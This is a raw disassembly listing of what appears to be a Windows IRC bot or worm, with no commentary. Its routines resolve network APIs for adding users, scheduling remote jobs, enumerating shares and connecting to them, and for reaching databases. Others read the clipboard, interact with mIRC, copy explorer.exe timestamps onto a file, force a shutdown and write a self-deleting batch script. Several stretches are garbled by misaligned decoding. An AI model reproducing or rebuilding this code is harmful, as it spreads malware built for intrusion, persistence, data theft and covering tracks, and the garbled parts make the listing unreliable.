		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	ds:dword_4306A4, eax
		call	esi
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	ds:dword_430680, eax
		call	esi
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	ds:dword_4306F0, eax
		call	esi
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	ds:dword_430720, eax
		call	esi
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	ds:dword_430820, eax
		call	esi
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	ds:dword_4306DC, eax
		call	esi
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	ds:dword_430688, eax
		call	esi
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	ds:dword_43067C, eax
		call	esi
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	ds:dword_430708, eax
		call	esi
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	ds:dword_4307E8, eax
		call	esi
		cmp	ds:dword_4306A4, ebx
		mov	ds:dword_4307A4, eax
		jz	short loc_406775
		cmp	ds:dword_430680, ebx
		jz	short loc_406775
		cmp	ds:dword_4306F0, ebx
		jz	short loc_406775
		cmp	ds:dword_430720, ebx
		jz	short loc_406775
		cmp	ds:dword_430820, ebx
		jz	short loc_406775
		cmp	ds:dword_4306DC, ebx
		jz	short loc_406775
		cmp	ds:dword_430688, ebx
		jz	short loc_406775
		cmp	ds:dword_43067C, ebx
		jz	short loc_406775
		cmp	ds:dword_430708, ebx
		jz	short loc_406775
		cmp	ds:dword_4307E8, ebx
		jz	short loc_406775
		cmp	eax, ebx
		jnz	short loc_40677F
		jmp	short loc_406775
; ---------------------------------------------------------------------------


loc_40676A:				; CODE XREF: sub_405D8E+8F1j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_43088C, eax


loc_406775:				; CODE XREF: sub_405D8E+98Cj
					; sub_405D8E+994j ...
		mov	ds:dword_430888, 1


loc_40677F:				; CODE XREF: sub_405D8E+9D8j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4067B4
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	ds:dword_4306CC, eax
		call	esi
		cmp	ds:dword_4306CC, ebx
		mov	ds:dword_43078C, eax
		jz	short loc_4067BF
		cmp	eax, ebx
		jnz	short loc_4067C9
		jmp	short loc_4067BF
; ---------------------------------------------------------------------------


loc_4067B4:				; CODE XREF: sub_405D8E+9FCj
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_430894, eax


loc_4067BF:				; CODE XREF: sub_405D8E+A1Ej
					; sub_405D8E+A24j
		mov	ds:dword_430890, 1


loc_4067C9:				; CODE XREF: sub_405D8E+A22j
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4067FE
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	ds:dword_43080C, eax
		call	esi
		cmp	ds:dword_43080C, ebx
		mov	ds:dword_430808, eax
		jz	short loc_406809
		cmp	eax, ebx
		jnz	short loc_406813
		jmp	short loc_406809
; ---------------------------------------------------------------------------


loc_4067FE:				; CODE XREF: sub_405D8E+A46j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_43089C, eax


loc_406809:				; CODE XREF: sub_405D8E+A68j
					; sub_405D8E+A6Ej
		mov	ds:dword_430898, 1


loc_406813:				; CODE XREF: sub_405D8E+A6Cj
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_406872
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	ds:dword_430838, eax
		call	esi
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	ds:dword_430830, eax
		call	esi
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	ds:dword_4307F8, eax
		call	esi
		cmp	ds:dword_430838, ebx
		mov	ds:dword_4306E4, eax
		jz	short loc_40687D
		cmp	ds:dword_430830, ebx
		jz	short loc_40687D
		cmp	ds:dword_4307F8, ebx
		jz	short loc_40687D
		cmp	eax, ebx
		jnz	short loc_406887
		jmp	short loc_40687D
; ---------------------------------------------------------------------------


loc_406872:				; CODE XREF: sub_405D8E+A90j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_4308A4, eax


loc_40687D:				; CODE XREF: sub_405D8E+ACCj
					; sub_405D8E+AD4j ...
		mov	ds:dword_4308A0, 1


loc_406887:				; CODE XREF: sub_405D8E+AE0j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_4068BC
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	ds:dword_430714, eax
		call	esi
		cmp	ds:dword_430714, ebx
		mov	ds:dword_430804, eax
		jz	short loc_4068C7
		cmp	eax, ebx
		jnz	short loc_4068D1
		jmp	short loc_4068C7
; ---------------------------------------------------------------------------


loc_4068BC:				; CODE XREF: sub_405D8E+B04j
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_4308AC, eax


loc_4068C7:				; CODE XREF: sub_405D8E+B26j
					; sub_405D8E+B2Cj
		mov	ds:dword_4308A8, 1


loc_4068D1:				; CODE XREF: sub_405D8E+B2Aj
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40695A
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	ds:dword_4307CC, eax
		call	esi
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	ds:dword_430818, eax
		call	esi
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	ds:dword_43075C, eax
		call	esi
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	ds:dword_430724, eax
		call	esi
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	ds:dword_4307B0, eax
		call	esi
		cmp	ds:dword_4307CC, ebx
		mov	ds:dword_43072C, eax
		jz	short loc_406965
		cmp	ds:dword_430818, ebx
		jz	short loc_406965
		cmp	ds:dword_43075C, ebx
		jz	short loc_406965
		cmp	ds:dword_430724, ebx
		jz	short loc_406965
		cmp	ds:dword_4307B0, ebx
		jz	short loc_406965
		cmp	eax, ebx
		jnz	short loc_40696F
		jmp	short loc_406965
; ---------------------------------------------------------------------------


loc_40695A:				; CODE XREF: sub_405D8E+B4Ej
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	ds:dword_4308B4, eax


loc_406965:				; CODE XREF: sub_405D8E+BA4j
					; sub_405D8E+BACj ...
		mov	ds:dword_4308B0, 1


loc_40696F:				; CODE XREF: sub_405D8E+BC8j
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_405D8E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406977	proc near		; CODE XREF: seg000:0040DA50p

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ds:dword_430850, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_4069BF
		push	ds:dword_430854
		lea	eax, [ebp+var_200]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_4069BF:				; CODE XREF: sub_406977+1Aj
		cmp	ds:dword_430858, esi
		jz	short loc_4069F3
		push	ds:dword_43085C
		lea	eax, [ebp+var_200]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_4069F3:				; CODE XREF: sub_406977+4Ej
		cmp	ds:dword_430860, esi
		jz	short loc_406A27
		push	ds:dword_430864
		lea	eax, [ebp+var_200]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406A27:				; CODE XREF: sub_406977+82j
		cmp	ds:dword_430868, esi
		jz	short loc_406A5B
		push	ds:dword_43086C
		lea	eax, [ebp+var_200]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406A5B:				; CODE XREF: sub_406977+B6j
		cmp	ds:dword_430870, esi
		jz	short loc_406A8F
		push	ds:dword_430874
		lea	eax, [ebp+var_200]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406A8F:				; CODE XREF: sub_406977+EAj
		cmp	ds:dword_430878, esi
		jz	short loc_406AC3
		push	ds:dword_43087C
		lea	eax, [ebp+var_200]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406AC3:				; CODE XREF: sub_406977+11Ej
		cmp	ds:dword_430880, esi
		jz	short loc_406AF7
		push	ds:dword_430884
		lea	eax, [ebp+var_200]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406AF7:				; CODE XREF: sub_406977+152j
		cmp	ds:dword_430888, esi
		jz	short loc_406B2B
		push	ds:dword_43088C
		lea	eax, [ebp+var_200]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406B2B:				; CODE XREF: sub_406977+186j
		cmp	ds:dword_430890, esi
		jz	short loc_406B5F
		push	ds:dword_430894
		lea	eax, [ebp+var_200]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406B5F:				; CODE XREF: sub_406977+1BAj
		cmp	ds:dword_430898, esi
		jz	short loc_406B93
		push	ds:dword_43089C
		lea	eax, [ebp+var_200]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406B93:				; CODE XREF: sub_406977+1EEj
		cmp	ds:dword_4308A0, esi
		jz	short loc_406BC7
		push	ds:dword_4308A4
		lea	eax, [ebp+var_200]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406BC7:				; CODE XREF: sub_406977+222j
		cmp	ds:dword_4308A8, esi
		jz	short loc_406BFB
		push	ds:dword_4308AC
		lea	eax, [ebp+var_200]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406BFB:				; CODE XREF: sub_406977+256j
		cmp	ds:dword_4308B0, esi
		jz	short loc_406C2F
		push	ds:dword_4308B4
		lea	eax, [ebp+var_200]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax
		call	sub_41050B
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 20h


loc_406C2F:				; CODE XREF: sub_406977+28Aj
		lea	eax, [ebp+var_200]
		push	offset dword_420E94
		push	eax
		call	sub_41050B
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_406C5C
		push	esi
		lea	eax, [ebp+var_200]
		push	edi
		push	eax
		push	ebx
		push	[ebp+arg_0]
		call	sub_40E367
		add	esp, 14h


loc_406C5C:				; CODE XREF: sub_406977+2CEj
		lea	eax, [ebp+var_200]
		push	eax
		call	sub_407E0E
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406977	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406C6E	proc near		; CODE XREF: seg000:00409D0Ep
					; seg000:00409D3Cp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_406CF9
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_406CF9
		cmp	[ebp+arg_8], esi
		jz	short loc_406CF9
		cmp	byte ptr [eax],	0
		jz	short loc_406CF9
		push	ebx
		push	edi
		call	sub_41AC6E
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_406CF4
		push	[ebp+arg_4]
		push	edi
		call	sub_410AE0
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_406CED
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_411D00
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_410B60
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_411ED0
		push	[ebp+arg_4]
		call	sub_410B60
		add	eax, esi
		push	eax
		push	ebx
		call	sub_411B80
		push	ebx
		push	edi
		call	sub_411B70
		add	esp, 30h
		mov	esi, edi


loc_406CED:				; CODE XREF: sub_406C6E+3Cj
		push	ebx
		call	sub_410C83
		pop	ecx


loc_406CF4:				; CODE XREF: sub_406C6E+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_406CFB
; ---------------------------------------------------------------------------


loc_406CF9:				; CODE XREF: sub_406C6E+Cj
					; sub_406C6E+13j ...
		xor	eax, eax


loc_406CFB:				; CODE XREF: sub_406C6E+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_406C6E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406CFF	proc near		; CODE XREF: sub_409218+E9p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_410590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_410B60
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_406D35
		or	eax, 0FFFFFFFFh
		jmp	short loc_406DA8
; ---------------------------------------------------------------------------


loc_406D35:				; CODE XREF: sub_406CFF+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_406D57


loc_406D41:				; CODE XREF: sub_406CFF+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_406D4E
		cmp	dl, 0Dh
		jnz	short loc_406D52


loc_406D4E:				; CODE XREF: sub_406CFF+48j
		and	byte ptr [ecx+esi], 0


loc_406D52:				; CODE XREF: sub_406CFF+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_406D41


loc_406D57:				; CODE XREF: sub_406CFF+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_406D88
		lea	edi, [ebp+var_7CC]


loc_406D64:				; CODE XREF: sub_406CFF+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_406D83
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_406D83
		cmp	ebx, 1F4h
		jge	short loc_406D88
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_406D83:				; CODE XREF: sub_406CFF+69j
					; sub_406CFF+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_406D64


loc_406D88:				; CODE XREF: sub_406CFF+5Dj
					; sub_406CFF+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_406DA6
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_4105F0
		add	esp, 0Ch


loc_406DA6:				; CODE XREF: sub_406CFF+8Ej
		mov	eax, ebx


loc_406DA8:				; CODE XREF: sub_406CFF+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_406CFF	endp


; =============== S U B	R O U T	I N E =======================================



sub_406DAC	proc near		; CODE XREF: sub_406E06+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_406DE5
		push	ebx
		mov	ebx, edi


loc_406DC9:				; CODE XREF: sub_406DAC+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_406DE8
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_406DC9
		pop	ebx


loc_406DE5:				; CODE XREF: sub_406DAC+18j
		pop	edi
		pop	esi
		retn
sub_406DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_406DE8	proc near		; CODE XREF: sub_406DAC+25p
					; sub_406E06+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_412027
		cmp	al, 61h
		pop	ecx
		jl	short loc_406E03
		cmp	al, 7Ah
		jg	short loc_406E03
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_406E03:				; CODE XREF: sub_406DE8+Ej
					; sub_406DE8+12j
		xor	eax, eax
		retn
sub_406DE8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_406E06	proc near		; CODE XREF: sub_407EEE+A0p

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_410BE0
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_410B60
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_410B60
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_406DAC
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_406E44:				; CODE XREF: sub_406E06+B6j
		test	esi, esi
		jle	short loc_406EC2
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_412027
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_412027
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_406EBA


loc_406E6A:				; CODE XREF: sub_406E06+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_406DE8
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_406E8B
		mov	eax, ecx


loc_406E8B:				; CODE XREF: sub_406E06+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_406EBE
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_412027
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_412027
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_406E6A


loc_406EBA:				; CODE XREF: sub_406E06+62j
		dec	edi
		dec	esi
		jmp	short loc_406E44
; ---------------------------------------------------------------------------


loc_406EBE:				; CODE XREF: sub_406E06+8Aj
		xor	eax, eax
		jmp	short loc_406EC7
; ---------------------------------------------------------------------------


loc_406EC2:				; CODE XREF: sub_406E06+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_406EC7:				; CODE XREF: sub_406E06+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_406E06	endp

; ---------------------------------------------------------------------------


loc_406ECC:				; CODE XREF: seg000:0040C642p
		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		call	ds:dword_41C068	; RtlGetLastWin32Error
		mov	esi, eax
		push	0
		lea	eax, [ebp-100h]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		call	near ptr 3D0000h
		mov	ebp, 0FF00858Dh
; ---------------------------------------------------------------------------
		db 0FFh
		dd 80088AFFh, 57F1FF9h,	7509F980h, 0F1EB4003h, 48002080h
		dd 0FF008D8Dh, 0C13BFFFFh, 88A0C72h, 742EF980h,	21F980EBh
		dd 858DE67Ch, 0FFFFFF00h, 0C0BE5056h, 0FF004308h, 18680875h
		dd 68004210h, 200h, 9B3CE856h, 0C4830000h, 5EC68B18h
; ---------------------------------------------------------------------------
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_406F56	proc near		; CODE XREF: seg000:0040DA23p
		push	esi
		push	0
		call	ds:dword_430764	; OpenClipboard
		test	eax, eax
		jz	short loc_406F8D
		push	1
		call	ds:dword_430784	; GetClipboardData
		mov	esi, eax
		test	esi, esi
		jz	short loc_406F8D
		push	edi
		push	esi
		call	ds:dword_41C0C0	; GlobalLock
		push	esi
		mov	edi, eax
		call	ds:dword_41C0BC	; GlobalUnlock
		call	ds:dword_4307E4	; CloseClipboard
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_406F8D:				; CODE XREF: sub_406F56+Bj
					; sub_406F56+19j
		xor	eax, eax
		pop	esi
		retn
sub_406F56	endp


; =============== S U B	R O U T	I N E =======================================



sub_406F91	proc near		; CODE XREF: seg000:0040CF56p

var_4		= dword	ptr -4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc ; "mIRC"
		push	esi
		push	edi
		call	ds:dword_4307A0	; FindWindowA
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_40700D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		call	near ptr 3D0000h
		sub	[esi+56h], edx
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		call	near ptr 3D0000h
		pop	ecx
		push	[esp+18h+var_4]
		mov	ebx, eax
		push	ebx
		call	sub_41050B
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	ds:dword_4307EC	; SendMessageA
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	ds:dword_4307EC	; SendMessageA
		push	ebx
		call	near ptr 3D0000h
		db	67h
		push	edi
		call	ds:dword_41C070	; CloseHandle
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_40700F
; ---------------------------------------------------------------------------


loc_40700D:				; CODE XREF: sub_406F91+16j
		xor	eax, eax


loc_40700F:				; CODE XREF: sub_406F91+7Aj
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_406F91	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_407013	proc near		; CODE XREF: sub_4089FD+304p

var_11C		= byte ptr -11Ch
var_18		= byte ptr -18h
var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 11Ch
		push	ebx
		push	esi
		xor	esi, esi
		push	edi
		lea	eax, [ebp+var_11C]
		push	esi
		push	eax
		push	104h
		push	esi
		push	offset aExplorer_exe ; "explorer.exe"
		push	esi
		call	ds:dword_43084C	; SearchPathA
		test	eax, eax
		jz	short loc_4070B2
		mov	edi, 80h
		push	esi
		push	edi
		push	3
		push	esi
		mov	esi, ds:dword_41C078
		push	1
		lea	eax, [ebp+var_11C]
		push	80000000h
		push	eax
		call	esi	; CreateFileA
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_4070B2
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	ebx
		call	near ptr 12D0004h
		out	dx, eax
		push	ebx


loc_40707A:				; DATA XREF: seg002:0041EBA0o
					; seg002:0041EBB4o ...
		mov	ebx, ds:dword_41C070
		call	ebx	; CloseHandle
		push	0
		push	edi
		push	3
		push	0
		push	2
		push	40000000h
		push	[ebp+arg_0]
		call	esi	; CreateFileA
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4070B2
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		push	esi
		call	near ptr 12F0004h
		mov	bh, 56h
		call	ebx	; CloseHandle


loc_4070B2:				; CODE XREF: sub_407013+2Aj
					; sub_407013+51j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_407013	endp


; =============== S U B	R O U T	I N E =======================================



sub_4070B7	proc near		; CODE XREF: seg000:0040A335p
		push	1
		push	offset aSeshutdownpriv ; "SeShutdownPrivilege"
		call	sub_40F382
		pop	ecx
		pop	ecx
		push	50005h
		push	6
		call	ds:dword_4306EC	; ExitWindowsEx
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
sub_4070B7	endp

; ---------------------------------------------------------------------------


loc_4070D9:				; CODE XREF: seg000:0040DC4Fp
		push	ebp
		mov	ebp, esp
		sub	esp, 764h
		push	esi
		xor	esi, esi
		cmp	ds:dword_423008, esi
		push	edi
		jz	short loc_4070FD
		cmp	ds:dword_430860, esi
		jnz	short loc_4070FD
		push	esi
		call	sub_40801D
		pop	ecx


loc_4070FD:				; CODE XREF: seg000:004070ECj
					; seg000:004070F4j
		call	sub_410180
		lea	eax, [ebp-764h]
		push	eax
		push	400h
		call	near ptr 3D0000h
		xchg	eax, esp
		lea	eax, [ebp-764h]
		push	eax
		lea	eax, [ebp-260h]
		push	offset aSdel_bat ; "%sdel.bat"
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		lea	eax, [ebp-260h]
		push	esi
		push	esi
		push	2
		push	esi
		push	esi
		push	40000000h
		push	eax
		call	ds:dword_41C078	; CreateFileA
		mov	edi, eax
		cmp	edi, esi
		jbe	loc_40725D
		lea	eax, [ebp-260h]
		push	eax
		lea	eax, [ebp-764h]
		push	offset a@echoOffRepeat ; "@echo	off\r\n:repeat\r\ndel \"%%1\"\r\nif exist"...
		push	eax
		call	sub_41050B
		add	esp, 0Ch
		lea	eax, [ebp-4]
		push	esi
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		call	sub_410B60
		pop	ecx
		push	eax
		lea	eax, [ebp-764h]
		push	eax
		push	edi
		call	near ptr 3D0000h
		jz	short near ptr byte_4071E5
		call	ds:dword_41C070	; CloseHandle
		push	10h
		lea	eax, [ebp-14h]
		push	esi
		push	eax
		call	sub_410590
		push	44h
		lea	eax, [ebp-58h]
		pop	edi
		push	edi
		push	esi
		push	eax
		call	sub_410590
		add	esp, 18h
		mov	[ebp-58h], edi
		mov	edi, 104h
		lea	eax, [ebp-15Ch]
		push	edi
		push	eax
		push	esi
		mov	dword ptr [ebp-4Ch], offset dword_42F3E8
		mov	dword ptr [ebp-2Ch], 1
